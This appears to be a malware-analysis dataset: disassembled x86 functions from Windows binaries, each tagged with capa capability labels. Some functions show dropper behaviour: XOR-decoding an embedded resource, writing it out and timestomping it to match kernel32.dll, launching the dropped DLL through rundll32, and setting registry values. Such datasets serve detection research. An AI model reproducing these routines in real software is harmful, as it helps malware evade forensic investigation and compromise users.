joyce8/EMBER2024-capa huggingface dataset:
Function at 0x49f7e0
Capabilities:
Connect pipe
Get common file path
Read pipe
Write pipe

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffee0
mov dword [esp], edx
push edi
push edx
push eax
call sub.gdi32.dll_GetObjectA
mov eax, dword [esp + 4]
push eax
mov ecx, ebx
mov edx, esi
mov eax, ebp
call fcn.0049b774
lea eax, [esp + 0xc]
push eax
mov eax, dword [esp + 0xc]
push eax
call sub.wininet.dll_GopherGetLocatorTypeA
mov edx, dword [esp + 0x14]
mov eax, dword [esp + 0x10]
call fcn.0042b2c0
push dword [esp + 0x1c]
mov eax, dword [esp + 0x1c]
push eax
call sub.kernel32.dll_SetConsoleScreenBufferSize
mov eax, dword [esp + 0x28]
push eax
mov eax, dword [esp + 0x28]
push eax
mov eax, dword [esp + 0x28]
push eax
call sub.gdi32.dll_ExtSelectClipRgn
mov edx, dword [esp + 0x30]
mov eax, dword [esp + 0x2c]
call fcn.0042b280
lea eax, [esp + 0x34]
call fcn.0042b008
mov eax, dword [esp + 0x40]
push eax
mov eax, dword [esp + 0x40]
push eax
call sub.user32.dll_EndDialog
lea eax, [esp + 0xa4]
push eax
call sub.shell32.dll_SHFileOperationA
mov eax, dword [esp + 0x4c]
push eax
lea eax, [esp + 0x48]
push eax
call sub.advapi32.dll_DeleteAce
lea eax, [esp + 0x58]
push eax
mov eax, dword [esp + 0x58]
push eax
mov eax, dword [esp + 0x58]
push eax
call sub.advapi32.dll_RegCreateKeyA
lea eax, [esp + 0xc2]
push eax
call sub.comdlg32.dll_ChooseFontW
mov eax, dword [esp + 0x60]
push eax
mov eax, dword [esp + 0x60]
push eax
call sub.kernel32.dll_GetTempPathA
mov eax, dword [esp + 0x68]
push eax
mov eax, dword [esp + 0x68]
push eax
call sub.user32.dll_UnregisterHotKey
mov eax, dword [esp + 0x74]
push eax
mov eax, dword [esp + 0x74]
push eax
mov eax, dword [esp + 0x74]
push eax
call sub.advapi32.dll_RegSetKeySecurity
mov edx, dword [esp + 0x7c]
mov eax, dword [esp + 0x78]
call fcn.0042b160
mov eax, dword [esp + 0x98]
push eax
lea eax, [esp + 0x98]
push eax
mov eax, dword [esp + 0x98]
push eax
mov eax, dword [esp + 0x98]
push eax
mov eax, dword [esp + 0x98]
push eax
mov eax, dword [esp + 0x98]
push eax
mov eax, dword [esp + 0x98]
push eax
call sub.kernel32.dll_CallNamedPipeA
lea ecx, [esp + 0xfe]
mov edx, dword [esp + 0xa0]
mov eax, dword [esp + 0x9c]
call fcn.0042b188
add esp, 0x120
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x49f9fc
Capabilities:
Shutdown system

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffff38
push esp
push ebp
push edx
push eax
call sub.gdi32.dll_GetTextExtentPoint32A
push ebx
push esi
push edi
call sub.advapi32.dll_RegRestoreKeyA
mov edx, dword [esp + 0xc]
mov eax, dword [esp + 8]
call fcn.0042b138
mov eax, dword [esp + 0x10]
call fcn.0042b2ec
mov eax, dword [esp + 0x20]
push eax
lea eax, [esp + 0x78]
push eax
mov eax, dword [esp + 0x24]
push eax
mov eax, dword [esp + 0x24]
push eax
lea eax, [esp + 0x5c]
push eax
mov eax, dword [esp + 0x28]
push eax
call sub.gdi32.dll_CreateDIBitmap
mov eax, dword [esp + 0x2c]
push eax
mov eax, dword [esp + 0x2c]
push eax
mov eax, dword [esp + 0x2c]
push eax
call sub.gdi32.dll_ExtSelectClipRgn
mov eax, dword [esp + 0x34]
push eax
mov eax, dword [esp + 0x34]
push eax
call sub.user32.dll_ExitWindowsEx
mov edx, dword [esp + 0x3c]
mov eax, dword [esp + 0x38]
call fcn.0042b2a0
mov eax, dword [esp + 0x40]
call fcn.0042b2b0
lea eax, [esp + 0xa0]
push eax
call sub.comdlg32.dll_ReplaceTextA
mov eax, dword [esp + 0x48]
push eax
mov eax, dword [esp + 0x48]
push eax
call sub.kernel32.dll_GetCompressedFileSizeA
add esp, 0xc8
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x49fab0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffff14
mov dword [esp], edx
push edi
push edx
push eax
call sub.gdi32.dll_GetTextFaceW
push esi
push ebp
call sub.advapi32.dll_GetSidSubAuthority
mov eax, dword [esp + 0xc]
push eax
mov eax, dword [esp + 0xc]
push eax
lea eax, [esp + 0xc]
push eax
lea eax, [esp + 0x94]
push eax
push ebx
call sub.wininet.dll_RetrieveUrlCacheEntryStreamA
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x14]
mov eax, dword [esp + 0x10]
call fcn.0042b100
mov eax, dword [esp + 0x24]
push eax
mov eax, dword [esp + 0x24]
push eax
mov eax, dword [esp + 0x24]
push eax
call sub.user32.dll_SetClassLongA
mov eax, dword [esp + 0x28]
push eax
call sub.gdi32.dll_GetObjectType
mov eax, dword [esp + 0x2c]
call fcn.0042b1bc
mov eax, dword [esp + 0x38]
push eax
lea eax, [esp + 0x38]
push eax
mov eax, dword [esp + 0x38]
push eax
call sub.gdi32.dll_GetICMProfileW
mov eax, dword [esp + 0x40]
push eax
mov eax, dword [esp + 0x40]
push eax
call sub.user32.dll_GetScrollPos
mov eax, dword [esp + 0x58]
push eax
mov eax, dword [esp + 0x58]
push eax
mov eax, dword [esp + 0x58]
push eax
mov eax, dword [esp + 0x58]
push eax
mov eax, dword [esp + 0x58]
push eax
mov eax, dword [esp + 0x58]
push eax
call sub.advapi32.dll_RegQueryValueExW
lea eax, [esp + 0x60]
push eax
mov eax, dword [esp + 0x60]
push eax
call sub.kernel32.dll_GetConsoleMode
mov eax, dword [esp + 0x70]
push eax
mov eax, dword [esp + 0x70]
push eax
mov eax, dword [esp + 0x70]
push eax
lea eax, [esp + 0xe4]
push eax
mov eax, dword [esp + 0x74]
push eax
call sub.user32.dll_DialogBoxIndirectParamW
mov eax, dword [esp + 0x84]
push eax
mov eax, dword [esp + 0x84]
push eax
mov eax, dword [esp + 0x84]
push eax
mov eax, dword [esp + 0x84]
push eax
mov eax, dword [esp + 0x84]
push eax
call sub.wininet.dll_CreateUrlCacheEntryA
add esp, 0xec
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x49fbd0
Capabilities:
Get disk information

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffff40
lea ecx, [esp + 8]
push ecx
lea ecx, [esp + 8]
push ecx
push edi
lea ecx, [esp + 0xc]
push ecx
push ebp
push edx
push eax
call sub.advapi32.dll_LookupAccountSidA
lea eax, [esp + 0x10]
push eax
mov eax, dword [esp + 0x10]
push eax
push ebx
push esi
call sub.gdi32.dll_GetTextExtentPointA
mov eax, dword [esp + 0x18]
push eax
call sub.kernel32.dll_GetDriveTypeW
mov edx, dword [esp + 0x20]
mov eax, dword [esp + 0x1c]
call fcn.0042b254
lea eax, [esp + 0x30]
push eax
mov eax, dword [esp + 0x30]
push eax
mov eax, dword [esp + 0x30]
push eax
mov eax, dword [esp + 0x30]
push eax
call sub.gdi32.dll_GetTextExtentPointA
mov edx, dword [esp + 0x3c]
mov eax, dword [esp + 0x38]
call fcn.0042b1f8
lea eax, [esp + 0x6c]
push eax
mov eax, dword [esp + 0x4c]
push eax
mov eax, dword [esp + 0x4c]
push eax
mov eax, dword [esp + 0x4c]
push eax
call sub.user32.dll_GetMenuItemInfoW
mov eax, dword [esp + 0x50]
push eax
mov eax, dword [esp + 0x50]
push eax
call sub.shell32.dll_SHGetPathFromIDListA
lea eax, [esp + 0x9c]
call fcn.0049f78c
mov eax, dword [esp + 0x58]
push eax
mov eax, dword [esp + 0x58]
push eax
call sub.gdi32.dll_SelectClipPath
mov eax, dword [esp + 0x68]
push eax
mov eax, dword [esp + 0x68]
push eax
mov eax, dword [esp + 0x68]
push eax
mov eax, dword [esp + 0x68]
push eax
call fcn.0042cbe4
add esp, 0xc0
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x49fca8
Capabilities:
Get common file path
Read .ini file

Disassembly:
push esi
push edi
push ebp
add esp, 0xffffffdc
push ecx
push edx
push eax
call sub.kernel32.dll_GetPrivateProfileSectionNamesA
push esi
call sub.comctl32.dll_ImageList_DragLeave
push ebp
push edi
call sub.kernel32.dll_GetTempPathA
mov eax, dword [esp]
push eax
call sub.user32.dll_GetMenuContextHelpId
mov eax, dword [esp + 0x14]
push eax
mov eax, dword [esp + 0x14]
push eax
mov eax, dword [esp + 0x14]
push eax
mov eax, dword [esp + 0x14]
push eax
mov eax, dword [esp + 0x14]
push eax
call sub.wininet.dll_HttpSendRequestA
mov eax, dword [esp + 0x18]
call fcn.0042b290
mov eax, dword [esp + 0x20]
push eax
mov eax, dword [esp + 0x20]
push eax
call sub.kernel32.dll_GetCurrentDirectoryA
add esp, 0x24
pop ebp
pop edi
pop esi
ret

Function at 0x4a0418
Capabilities:
Check os version

Disassembly:
add esp, 0xffffff6c
mov dword [esp], 0x94
push esp
call sub.kernel32.dll_GetVersionExA
cmp dword [esp + 0x10], 2
jne 0x4a043d
cmp dword [esp + 4], 5
jb 0x4a043d
mov al, 1
jmp 0x4a043f
xor eax, eax
add esp, 0x94
ret
Function at 0x401000
Capabilities:
Encode data using xor
Extract resource via kernel32 functions

Disassembly:
push ebx
push ebp
mov ebp, dword [esp + 0xc]
push esi
test ebp, ebp
push edi
je 0x4010a4
mov ebx, dword [esp + 0x18]
test ebx, ebx
je 0x4010a4
push 0x408010
push 0x65
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
test esi, esi
je 0x4010a4
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x4010a4
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
cmp eax, 0x14
mov dword [ebx], eax
jb 0x4010a4
push eax
call dword [sym.imp.MSVCRT.dll_malloc]
add esp, 4
mov dword [ebp], eax
test eax, eax
je 0x4010a4
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
test eax, eax
je 0x4010a4
mov ecx, dword [ebx]
mov edi, dword [ebp]
mov esi, eax
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edx, dword [ebx]
mov ecx, dword [ebp]
test edx, edx
jbe 0x40109a
mov bl, byte [eax + ecx]
xor bl, 0x78
mov byte [eax + ecx], bl
inc eax
cmp eax, edx
jb 0x40108c
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
ret
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret

Function at 0x4010f0
Capabilities:
Extract resource via kernel32 functions
Timestomp file
Write file on windows

Disassembly:
sub esp, 0x1c
push ebx
push ebp
push esi
push edi
push 0x408010
or ebp, 0xffffffff
push 0x66
push 0
mov dword [esp + 0x1c], ebp
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
test esi, esi
je 0x4011f2
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x4011f2
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x40120c
mov eax, dword [esp + 0x30]
mov ebp, dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push 0x80
push 2
push 0
push 1
push 0xc0000000
push eax
call ebp
mov edi, eax
test edi, edi
je 0x401200
lea ecx, [esp + 0x30]
push 0
push ecx
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [esp + 0x30], ebx
jne 0x401189
xor ebx, ebx
jmp 0x40118d
mov ebx, dword [esp + 0x10]
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push str.c:windows_system32kernel32.dll
call ebp
mov ebp, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, eax
test esi, esi
je 0x4011e5
lea edx, [esp + 0x14]
lea eax, [esp + 0x1c]
push edx
lea ecx, [esp + 0x28]
push eax
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
test eax, eax
je 0x4011e2
lea edx, [esp + 0x14]
lea eax, [esp + 0x1c]
push edx
lea ecx, [esp + 0x28]
push eax
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push esi
call ebp
push edi
call ebp
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x1c
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1c
ret
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1c
ret
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0x1c
ret
Function at 0x401220
Capabilities:
Create process on windows
Create process suspended
Query environment variable

Disassembly:
sub esp, 0x25c
mov al, byte [0x408330]
push edi
mov byte [esp + 0x58], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x59]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x14]
lea edx, [esp + 0x58]
rep stosd dword es:[edi], eax
xor ecx, ecx
push 0x104
mov dword [esp + 8], ecx
push edx
mov dword [esp + 0x10], ecx
push str.windir
mov dword [esp + 0x18], ecx
mov dword [esp + 0x20], 0x44
mov dword [esp + 0x1c], ecx
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x401288
pop edi
add esp, 0x25c
ret
mov edi, str.MSAgent
or ecx, 0xffffffff
xor eax, eax
push ebx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push esi
lea edx, [esp + 0x60]
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
lea edx, [esp + 0x60]
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.AGENTCPD.DLL
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x60]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call fcn.004010f0
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x169]
mov byte [esp + 0x168], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, str.rundll32
or ecx, 0xffffffff
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x164]
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x164]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x60]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, ebx
lea edx, [esp + 0x164]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.__start_16_0
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0xc]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x20]
lea edx, [esp + 0x168]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov eax, dword [esp + 0x14]
pop esi
pop ebx
pop edi
add esp, 0x25c
ret
Function at 0x4013d0
Capabilities:
Read file on windows
Write file on windows

Disassembly:
mov eax, 0x8038
call fcn.00404490
push ebx
push ebp
push esi
push edi
push 0x38
lea eax, [esp + 0x14]
xor esi, esi
push str.1.2.3
push eax
mov dword [esp + 0x3c], esi
mov dword [esp + 0x40], esi
mov dword [esp + 0x44], esi
mov dword [esp + 0x20], esi
mov dword [esp + 0x1c], esi
call fcn.00401ce0
mov edi, eax
add esp, 0xc
cmp edi, esi
je 0x401419
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x8038
ret
mov ebx, dword [esp + 0x804c]
lea ecx, [esp + 0x48]
push ebx
push 0x4000
push 1
push ecx
call dword [sym.imp.MSVCRT.dll_fread]
mov cl, byte [ebx + 0xc]
add esp, 0x10
test cl, 0x20
mov dword [esp + 0x14], eax
jne 0x4014e9
mov ebp, dword [esp + 0x8050]
test eax, eax
je 0x401523
lea edx, [esp + 0x48]
mov dword [esp + 0x10], edx
lea ecx, [esp + 0x10]
mov esi, 0x4000
lea eax, [esp + 0x4048]
push 0
push ecx
mov dword [esp + 0x28], esi
mov dword [esp + 0x24], eax
call fcn.00401d00
mov edi, eax
add esp, 8
cmp edi, 0xfffffffc
jl 0x401491
cmp edi, 0xfffffffd
jle 0x401509
cmp edi, 2
je 0x401504
mov ecx, dword [esp + 0x20]
push ebp
sub esi, ecx
lea edx, [esp + 0x404c]
push esi
push 1
push edx
call dword [sym.imp.MSVCRT.dll_fwrite]
add esp, 0x10
cmp eax, esi
jne 0x4014e9
test byte [ebp + 0xc], 0x20
jne 0x4014e9
mov eax, dword [esp + 0x20]
test eax, eax
je 0x40145d
cmp edi, 1
je 0x401523
push ebx
push 0x4000
lea eax, [esp + 0x50]
push 1
push eax
call dword [sym.imp.MSVCRT.dll_fread]
mov cl, byte [ebx + 0xc]
add esp, 0x10
test cl, 0x20
mov dword [esp + 0x14], eax
je 0x40144d
lea ecx, [esp + 0x10]
push ecx
call fcn.00403550
add esp, 4
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x8038
ret
mov edi, 0xfffffffd
lea edx, [esp + 0x10]
push edx
call fcn.00403550
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x8038
ret
lea eax, [esp + 0x10]
push eax
call fcn.00403550
mov eax, edi
add esp, 4
dec eax
neg eax
pop edi
pop esi
sbb eax, eax
pop ebp
and al, 0xfd
pop ebx
add esp, 0x8038
ret
Function at 0x401970
Capabilities:
Get file size
Read file on windows
Write file on windows

Disassembly:
sub esp, 8
push ebp
mov ebp, dword [esp + 0x10]
push esi
or eax, 0xffffffff
xor esi, esi
push edi
test ebp, ebp
mov dword [esp + 0xc], 0
je 0x401a91
mov al, byte [ebp]
mov cl, al
and cl, 2
je 0x4019a2
test al, 1
mov eax, 2
je 0x4019a7
mov eax, 3
test cl, cl
je 0x4019b0
mov esi, 1
push 0
push 0x80
push eax
push 0
push 0
lea eax, [ebp + 8]
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x401a8b
cmp esi, 1
jne 0x401a1b
mov edx, dword [ebp + 0x210]
lea ecx, [esp + 0xc]
push 0
push ecx
lea eax, [ebp + 0x214]
push edx
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x401a3e
mov esi, dword [esp + 0xc]
mov ecx, dword [ebp + 0x210]
sub esi, ecx
push edi
neg esi
sbb esi, esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop edi
pop esi
pop ebp
add esp, 8
ret
lea ecx, [esp + 0x18]
mov dword [esp + 0x18], 0
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
cmp esi, 0xffffffff
jne 0x401a56
mov eax, dword [esp + 0x18]
test eax, eax
jne 0x401a7b
call dword [sym.imp.KERNEL32.dll_GetLastError]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop edi
pop esi
pop ebp
add esp, 8
ret
push esi
mov dword [esp + 0x14], 0
call sub.MSVCRT.dll_malloc
add esp, 4
test eax, eax
je 0x401a7b
lea edx, [esp + 0x10]
push 0
push edx
push esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop edi
pop esi
pop ebp
add esp, 8
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop edi
pop esi
pop ebp
add esp, 8
ret

Function at 0x401aa0
Capabilities:
Set registry value

Disassembly:
push ecx
push ebx
push esi
mov esi, dword [esp + 0x10]
or eax, 0xffffffff
xor ecx, ecx
xor ebx, ebx
test esi, esi
push edi
mov dword [esp + 0xc], ebx
je 0x401b33
mov edx, dword [esi + 8]
mov eax, dword [esi]
test edx, edx
je 0x401ac3
lea ecx, [esi + 0xc]
mov edx, dword [esi + 0x214]
test edx, edx
je 0x401ad3
lea ebx, [esi + 0x218]
lea edx, [esp + 0xc]
push edx
lea edx, [esp + 0x18]
push edx
push 0
push 0x20006
push 0
push 0
push 0
push ecx
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov edi, eax
test edi, edi
jne 0x401b31
mov eax, dword [esi + 0x214]
test eax, eax
je 0x401b26
mov eax, dword [esi + 0x424]
mov edx, dword [esi + 0x420]
lea ecx, [esi + 0x428]
push eax
mov eax, dword [esp + 0x18]
push ecx
push edx
push edi
push ebx
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edi, eax
mov ecx, dword [esp + 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
pop edi
pop esi
pop ebx
pop ecx
ret
Function at 0x4044bf
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x407ab0
push 0x404600
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
and dword [ebp - 4], 0
push 1
call dword [sym.imp.MSVCRT.dll___set_app_type]
pop ecx
or dword [0x408344], 0xffffffff
or dword [0x408348], 0xffffffff
call dword [sym.imp.MSVCRT.dll___p__fmode]
mov ecx, dword [0x408340]
mov dword [eax], ecx
call dword [sym.imp.MSVCRT.dll___p__commode]
mov ecx, dword [0x40833c]
mov dword [eax], ecx
mov eax, dword [sym.imp.MSVCRT.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x40834c], eax
call fcn.004045f1
cmp dword [0x408320], 0
jne 0x404542
push 0x4045ee
call dword [sym.imp.MSVCRT.dll___setusermatherr]
pop ecx
call fcn.004045dc
push 0x40800c
push 0x408008
call sub.MSVCRT.dll__initterm
mov eax, dword [0x408338]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
push dword [0x408334]
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.MSVCRT.dll___getmainargs]
push 0x408004
push section..data
call sub.MSVCRT.dll__initterm
call dword [sym.imp.MSVCRT.dll___p___initenv]
mov ecx, dword [ebp - 0x20]
mov dword [eax], ecx
push dword [ebp - 0x20]
push dword [ebp - 0x2c]
push dword [ebp - 0x1c]
call fcn.00401550
add esp, 0x30
mov dword [ebp - 0x24], eax
push eax
call dword [sym.imp.MSVCRT.dll_exit]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov ecx, dword [ecx]
mov dword [ebp - 0x30], ecx
push eax
push ecx
call sub.MSVCRT.dll__XcptFilter
pop ecx
pop ecx
ret
Function at 0x4035ac
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x45a008], 0x8088405
inc edx
mov dword [ebx + 0x45a008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x41cf00
Capabilities:
Decompress data using aplib

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push ebp
mov esi, dword [ebp - 4]
mov edi, dword [ebp - 8]
cld
mov dl, 0x80
mov al, byte [esi]
add esi, 1
mov byte [edi], al
add edi, 1
mov ebx, 2
add dl, dl
jne 0x41cf31
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x41cf19
add dl, dl
jne 0x41cf3c
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x41cf8d
xor eax, eax
add dl, dl
jne 0x41cf49
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x41d02a
add dl, dl
jne 0x41cf58
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41cf63
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41cf6e
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41cf79
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x41cf83
mov ebx, edi
sub ebx, eax
mov al, byte [ebx]
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x41cf28
mov eax, 1
add dl, dl
jne 0x41cf9b
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41cfa6
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x41cf92
sub eax, ebx
mov ebx, 1
jne 0x41cfd9
mov ecx, 1
add dl, dl
jne 0x41cfbf
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x41cfca
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x41cfb6
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x41cf28
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x41cff0
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x41cffb
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x41cfe7
cmp eax, 0x7d00
sbb ecx, 0xffffffff
cmp eax, 0x500
sbb ecx, 0xffffffff
cmp eax, 0x80
adc ecx, 0
cmp eax, 0x80
adc ecx, 0
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x41cf28
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x41d04b
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x41cf28
pop ebp
sub edi, dword [ebp - 8]
mov dword [ebp - 0xc], edi
pop edi
pop esi
pop ebx
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret